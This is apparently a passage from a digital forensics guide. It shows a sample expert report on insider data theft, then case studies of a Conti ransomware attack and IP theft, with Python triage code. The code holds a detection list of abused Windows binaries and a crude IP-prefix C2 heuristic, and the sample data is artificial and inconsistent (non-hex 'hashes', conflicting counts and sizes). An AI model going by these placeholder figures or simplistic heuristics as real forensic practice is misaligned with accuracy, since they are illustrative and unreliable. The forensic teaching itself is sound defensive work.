Tools\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 Tool            \u2502 Version    \u2502 SHA256 Hash      \u2502 Verification  \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 Autopsy         \u2502 4.20.0     \u2502 2b3c4d5e6f7g8h9i \u2502 Matched       \u2502\n\u2502 Plaso           \u2502 20230715   \u2502 3c4d5e6f7g8h9i0j \u2502 Matched       \u2502\n\u2502 RegRipper       \u2502 3.0        \u2502 4d5e6f7g8h9i0j1k \u2502 Matched       \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n\n4.3 Analysis Performed\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n- File system analysis (NTFS)\n- MFT parsing and timeline creation\n- Registry analysis (USB history, user activity)\n- Email artifact extraction\n- Browser history analysis\n- Deleted file recovery\n- Timeline correlation\n\n5. TECHNICAL FINDINGS\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\n5.1 File System Analysis\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nThe 500GB SSD contained a single NTFS volume with Windows 10 Pro installed.\n\nTotal files examined: 127,453\nDeleted files recovered: 3,847\nEncrypted files identified: 3 (could not be examined without passwords)\n\n5.2 Key Files Identified\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 Filename     \u2502 Full Path          \u2502 Created       \u2502 Modified     \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 customers.xlsx\u2502 C:\\Users\\John\\Docs \u2502 2023-11-10    \u2502 2023-11-15   \u2502\n\u2502              \u2502                     \u2502 09:15:22      \u2502 14:30:45     \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 pricing.pdf  \u2502 C:\\Users\\John\\Docs \u2502 2023-11-12    \u2502 2023-11-15   \u2502\n\u2502              \u2502                     \u2502 11:20:33      \u2502 14:32:18     \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 merger.docx  \u2502 C:\\Users\\John\\Docs \u2502 2023-11-14    \u2502 2023-11-15   \u2502\n\u2502              \u2502                     \u2502 13:45:12      \u2502 14:34:05     \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n\n[SCREENSHOT: customers.xlsx showing customer records]\n\n5.3 USB Device History\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nRegistry analysis revealed the following USB device connections:\n\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 Device       \u2502 Serial Number      \u2502 First Seen    \u2502 Last Seen    \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 SanDisk Ultra\u2502 123456789ABC       \u2502 2023-11-15    \u2502 2023-11-15   \u2502\n\u2502 32GB         \u2502                     \u2502 14:40:22      \u2502 15:00:15     \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n\nThe device was connected for approximately 20 minutes on November 15,\ncoinciding with the last access times of the key files identified above.\n\n5.4 File Copy Analysis (USN Journal)\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nThe USN Journal recorded the following file copy operations on 2023-11-15:\n\n14:41:22 - customers.xlsx copied (FILE_CREATE)\n14:42:15 - customers.xlsx modified (DATA_OVERWRITE)\n14:45:33 - pricing.pdf copied (FILE_CREATE)\n14:46:12 - pricing.pdf modified (DATA_OVERWRITE)\n14:48:45 - merger.docx copied (FILE_CREATE)\n14:49:22 - merger.docx modified (DATA_OVERWRITE)\n[Additional entries for 44 more files...]\n\nThis pattern is consistent with bulk copying to external media.\n\n5.5 Email Evidence\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nEmail server logs (EX-002) show the following outgoing message:\n\nTimestamp: 2023-11-16 09:15:22\nFrom: john.doe@company.com\nTo: johndoe.personal@gmail.com\nSubject: Files\nSize: 24.6 MB\nAttachments: \n  - customers.xlsx (2.4 MB)\n  - pricing.pdf (1.8 MB)\n  - merger.docx (0.5 MB)\n  - [20 additional files...]\n\nThe email was sent from the company's internal network using\nthe employee's authenticated session.\n\n5.6 Resignation Email\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nTimestamp: 2023-11-16 09:30:45\nFrom: john.doe@company.com\nTo: hr@company.com\nSubject: Resignation - John Doe\n\nContent: \"Please accept this email as formal notification of my resignation...\"\n\n5.7 Deleted Files\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nThe following files were deleted on November 15, 2023, at approximately 14:35:\n\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 Filename     \u2502 Original Path       \u2502 Deleted       \u2502 Recovery     \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 secret.docx  \u2502 C:\\Users\\John\\Docs  \u2502 2023-11-15    \u2502 92%          \u2502\n\u2502              \u2502                     \u2502 14:35:22      \u2502 recovered    \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n\nRecovered content includes discussion of \"merger negotiations with XYZ Corp\"\nand \"final pricing strategy for Q1 2024.\"\n\n6. TIMELINE OF EVENTS\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\n2023-11-15\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n14:30    Last access of customers.xlsx\n14:32    Last access of pricing.pdf\n14:34    Last access of merger.docx\n14:35    secret.docx deleted\n14:40    SanDisk Ultra USB drive connected\n14:41-14:55 Mass file copy to USB (47 files, 45.7 MB)\n15:00    USB drive disconnected\n15:05    System shutdown (user leaves early)\n\n2023-11-16\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n09:00    User logs in\n09:15    Email to personal account with 23 attachments (23.4 MB)\n09:30    Resignation email to HR\n09:45    Browser searches for \"how to remove company data from personal email\"\n09:50    System shutdown\n\n7. ANALYSIS & INTERPRETATION\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\n7.1 Pattern Analysis\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nThe sequence of events shows a clear pattern:\n1. Identification of valuable files (Nov 10-14)\n2. Copy to external media (Nov 15)\n3. Email of subset to personal account (Nov 16)\n4. Deletion of sensitive document (Nov 15)\n5. Resignation submission (Nov 16)\n\nThis pattern is consistent with data exfiltration prior to departure.\n\n7.2 Alternative Explanations Considered\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nAlternative 1: Normal work backup\n- Inconsistent with: Personal email recipient, timing with resignation,\n  deletion of files, search for removal methods\n\nAlternative 2: System compromise\n- No evidence of unauthorized access; actions performed with user's\n  credentials during normal hours; no malware detected\n\nAlternative 3: Accidental email\n- Multiple attachments (23 files) inconsistent with accident;\n  files were specifically selected from documents folder\n\n7.3 Expert Opinion\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nBased on over 12 years of digital forensic experience and having\nexamined hundreds of similar cases, it is my expert opinion that:\n\n1. John Doe deliberately copied 47 proprietary files to external media\n2. John Doe deliberately emailed 23 of those files to his personal account\n3. These actions were performed in preparation for resignation\n4. The deletion of secret.docx was an attempt to conceal evidence\n5. No evidence suggests these actions were authorized or accidental\n\n8. LIMITATIONS\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n- The USB drive was not recovered; exact destination of all files unknown\n- Three encrypted files could not be examined\n- Personal email account content not accessible\n- System time was 3 minutes 22 seconds ahead of UTC (timestamps adjusted)\n\n9. CONCLUSIONS\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nThe forensic examination of EX-001 has determined that John Doe\nexfiltrated 47 proprietary company files totaling 45.7 MB to external\nmedia and additionally emailed 23 of those files to a personal email\naccount immediately before resigning from the company.\n\nThe evidence strongly supports a finding of intentional data theft\nrather than normal work activity or system compromise.\n\n10. RECOMMENDATIONS\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n1. Preserve all evidence for potential legal proceedings\n2. Consider legal action for theft of intellectual property\n3. Review access controls and monitoring for sensitive data\n4. Implement DLP (Data Loss Prevention) solutions\n5. Conduct exit interviews with immediate data access revocation\n\nAPPENDICES\n\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\nA. Chain of Custody Documentation\nB. Tool Verification Hashes\nC. Complete File Listing\nD. Email Server Logs\nE. Examiner CV and Qualifications\nF. Glossary of Technical Terms\n\nI declare under penalty of perjury that the foregoing is true and correct.\n\nSigned:\n\n_________________________\nJohn Smith, Senior Forensic Analyst\nCyber Forensics Inc.\nDate: December 15, 2023\n```\n\n---\n\n## Chapter 18 \u2013 Real-World Case Studies\n\n---\n\n### 18.1 Case Study 1: Ransomware Investigation\n\n#### Incident Overview\n\n```\nINCIDENT: Conti Ransomware Attack\nDATE: March 15, 2023\nVICTIM: Mid-sized manufacturing company (500 employees)\nIMPACT: 200 servers encrypted, production halted for 5 days\nRANSOM DEMAND: 50 Bitcoin (~$1.5M at time)\n```\n\n#### Initial Response\n\n```markdown\nINITIAL RESPONSE TIMELINE\n\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n\nDay 1 - 08:00\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nIT staff notice files with .conti extension\nSystems becoming unresponsive\nRansom note displayed on 50+ workstations\n\nDay 1 - 08:30\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nIncident response team activated\nSystems isolated from network\nContainment begun\n\nDay 1 - 10:00\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nForensic team arrives on site\nPreservation of affected systems begins\nNetwork isolation verified\n\nDay 1 - 12:00\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nCritical servers identified for priority recovery\nBackup systems checked (70% intact)\nLaw enforcement notified\n```\n\n#### Forensic Analysis\n\n```python\n# Ransomware investigation workflow\n\ndef analyze_ransomware_infection(evidence_path):\n    \"\"\"Analyze ransomware infection artifacts\"\"\"\n    \n    findings = {\n        'entry_point': None,\n        'execution_time': None,\n        'files_encrypted': [],\n        'ransom_note': None,\n        'indicators': [],\n        'timeline': []\n    }\n    \n    # 1. Identify entry point\n    # Look for phishing emails, RDP brute force, vulnerability exploit\n    \n    # Check email logs\n    email_logs = parse_email_logs(f\"{evidence_path}/mail.log\")\n    suspicious_emails = [e for e in email_logs if 'invoice' in e['subject'].lower() \n                         and e['attachment'] and e['attachment'].endswith('.doc')]\n    \n    if suspicious_emails:\n        findings['entry_point'] = {\n            'type': 'phishing',\n            'email': suspicious_emails[-1],\n            'time': suspicious_emails[-1]['timestamp']\n        }\n    \n    # 2. Track execution\n    # Look for process creation events\n    \n    # Windows Event Log 4688 (process creation)\n    process_events = parse_windows_events(f\"{evidence_path}/Security.evtx\")\n    \n    suspicious_processes = [\n        'powershell.exe -enc', 'rundll32.exe', 'mshta.exe',\n        'wscript.exe', 'cscript.exe', 'regsvr32.exe'\n    ]\n    \n    for event in process_events:\n        if event.get('event_id') == 4688:\n            cmdline = event.get('command_line', '').lower()\n            if any(p in cmdline for p in suspicious_processes):\n                findings['indicators'].append({\n                    'type': 'suspicious_process',\n                    'time': event['timestamp'],\n                    'process': event.get('new_process_name'),\n                    'command': cmdline\n                })\n    \n    # 3. Identify encrypted files\n    # Look for files with .conti extension\n    for root, dirs, files in os.walk(evidence_path):\n        for file in files:\n            if file.endswith('.conti'):\n                findings['files_encrypted'].append({\n                    'path': os.path.join(root, file),\n                    'original': file[:-6],  # Remove .conti\n                    'size': os.path.getsize(os.path.join(root, file))\n                })\n    \n    # 4. Find ransom note\n    ransom_notes = []\n    for root, dirs, files in os.walk(evidence_path):\n        for file in files:\n            if 'readme' in file.lower() or 'ransom' in file.lower():\n                note_path = os.path.join(root, file)\n                with open(note_path, 'r', errors='ignore') as f:\n                    content = f.read()\n                    if 'bitcoin' in content.lower() or 'conti' in content.lower():\n                        ransom_notes.append({\n                            'path': note_path,\n                            'content': content[:500]\n                        })\n    \n    if ransom_notes:\n        findings['ransom_note'] = ransom_notes[0]\n    \n    # 5. Extract IOCs\n    # Look for C2 connections\n    network_logs = parse_network_logs(f\"{evidence_path}/firewall.log\")\n    \n    suspicious_ips = []\n    for log in network_logs:\n        if log.get('destination_ip'):\n            # Check against threat intel (simplified)\n            if log['destination_ip'].startswith(('185.', '94.', '91.')):\n                suspicious_ips.append(log['destination_ip'])\n    \n    findings['indicators'].append({\n        'type': 'c2_ips',\n        'ips': list(set(suspicious_ips))\n    })\n    \n    return findings\n```\n\n#### Key Findings\n\n```markdown\nFORENSIC FINDINGS\n\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n\n1. ENTRY POINT\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nInitial compromise occurred via phishing email sent March 14, 2023, 14:23\nEmail purported to be from \"Accounts Payable\" with subject \"Overdue Invoice\"\nAttachment: invoice_74382.doc (contained malicious macro)\n\n2. EXECUTION TIMELINE\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nMarch 14, 14:25 - User opens attachment, enables macros\nMarch 14, 14:26 - PowerShell downloads Cobalt Strike beacon\nMarch 14, 14:30-16:00 - Attacker establishes persistence, enumerates network\nMarch 14, 16:00-20:00 - Lateral movement to file servers and domain controllers\nMarch 14, 20:00-23:00 - Data exfiltration (approx. 50GB to 185.130.5.23)\nMarch 15, 02:00 - Ransomware deployment begins\nMarch 15, 02:30 - First systems show encrypted files\nMarch 15, 08:00 - Users report issues, incident discovered\n\n3. SCOPE OF IMPACT\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n- Total systems encrypted: 1,247 (workstations and servers)\n- Total files encrypted: Approximately 2.3 million\n- Data exfiltrated: 50GB (customer data, financial records, IP)\n- Backup integrity: 70% recoverable (some backups also encrypted)\n\n4. ATTRIBUTION INDICATORS\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n- Ransom note language and formatting matches known Conti samples\n- Encryption routine uses RSA-2048 + AES-256 (Conti signature)\n- C2 infrastructure overlaps with known Conti infrastructure\n- Bitcoin wallet address: 1ContiV3rS1oNxxxxxx (previously seen in Conti attacks)\n\n5. RECOVERED EVIDENCE\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n- Phishing email with attachment (preserved)\n- PowerShell script from temporary directory\n- Cobalt Strike beacon configuration\n- Partial network traffic containing exfiltration\n- Ransom note with payment instructions\n- Encrypted files with .conti extension\n```\n\n#### Lessons Learned\n\n```markdown\nLESSONS LEARNED & RECOMMENDATIONS\n\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n\nTechnical Controls:\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n1. Email Filtering\n   - Implement advanced phishing detection\n   - Block macros in Office documents from external sources\n   - Sandbox all email attachments\n\n2. Endpoint Protection\n   - Deploy EDR on all endpoints\n   - Restrict PowerShell execution\n   - Application whitelisting for critical systems\n\n3. Network Security\n   - Segment networks (IT vs OT)\n   - Implement 802.1x authentication\n   - Monitor for anomalous outbound traffic\n\n4. Backup Strategy\n   - Maintain offline/immutable backups\n   - Test restoration procedures regularly\n   - 3-2-1 backup rule (3 copies, 2 media, 1 offsite)\n\nProcedural Controls:\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n1. User Training\n   - Phishing awareness (monthly simulated campaigns)\n   - Reporting procedures for suspicious emails\n   - Password hygiene and MFA\n\n2. Incident Response\n   - Regular tabletop exercises\n   - Updated IR plan with ransomware playbook\n   - Pre-established relationship with law enforcement\n\n3. Access Control\n   - Least privilege principle\n   - Regular access reviews\n   - Privileged Access Management (PAM)\n\nResponse Effectiveness:\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nWhat worked well:\n- Rapid isolation of affected systems\n- Communication plan with stakeholders\n- Backup restoration (70% recovered)\n\nWhat needed improvement:\n- Detection time (12 hours from infection to discovery)\n- Offline backup availability\n- Third-party communication\n```\n\n---\n\n### 18.2 Case Study 2: Insider Data Theft\n\n#### Incident Overview\n\n```markdown\nINCIDENT: Intellectual Property Theft\nDATE: June 2023\nVICTIM: Technology startup (50 employees)\nIMPACT: Source code and product roadmap stolen\nSUSPECT: Senior developer (resigned to join competitor)\n```\n\n#### Investigation Process\n\n```markdown\nINVESTIGATION WORKFLOW\n\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n\nPhase 1: Initial Triage (Day 1)\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n- Interviewed manager and IT staff\n- Identified key data at risk (source code repositories)\n- Preserved laptop, email, and cloud access logs\n- Documented resignation timeline\n\nPhase 2: Evidence Acquisition (Day 1-2)\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n- Created forensic images of company laptop (EX-001)\n- Acquired email server logs for 90 days (EX-002)\n- Exported GitHub access logs (EX-003)\n- Preserved Slack/Discord communications (EX-004)\n\nPhase 3: Analysis (Day 2-5)\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n- File system timeline reconstruction\n- USB device history analysis\n- Cloud storage activity review\n- Communication pattern analysis\n- Code repository access review\n\nPhase 4: Findings & Reporting (Day 5-7)\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n- Correlated activities with resignation timeline\n- Identified exfiltrated data\n- Documented chain of events\n- Prepared expert report\n```\n\n#### Evidence Analysis\n\n```python\ndef analyze_insider_theft(case_path):\n    \"\"\"Analyze insider data theft case\"\"\"\n    \n    findings = {\n        'data_accessed': [],\n        'exfiltration_methods': [],\n        'timeline': [],\n        'communications': [],\n        'technical_indicators': []\n    }\n    \n    # 1. File access patterns\n    file_logs = parse_file_access_logs(f\"{case_path}/file_server.log\")\n    \n    # Look for unusual access patterns\n    from collections import Counter\n    user_files = [f for f in file_logs if f['user'] == 'suspect']\n    \n    # Group by day\n    by_day = Counter()\n    for entry in user_files:\n        day = entry['timestamp'].date()\n        by_day[day] += 1\n    \n    # Identify spike days\n    avg_access = sum(by_day.values()) / len(by_day)\n    for day, count in by_day.items():\n        if count > avg_access * 3:  # 3x normal\n            findings['technical_indicators'].append({\n                'type': 'access_spike',\n                'date': day,\n                'files': count,\n                'normal_avg': avg_access\n            })\n    \n    # 2. USB activity\n    usb_logs = parse_usb_logs(f\"{case_path}/usb_history.csv\")\n    \n    for log in usb_logs:\n        if log['user'] == 'suspect':\n            findings['exfiltration_methods'].append({\n                'type': 'usb',\n                'device': log['device'],\n                'serial': log['serial'],\n                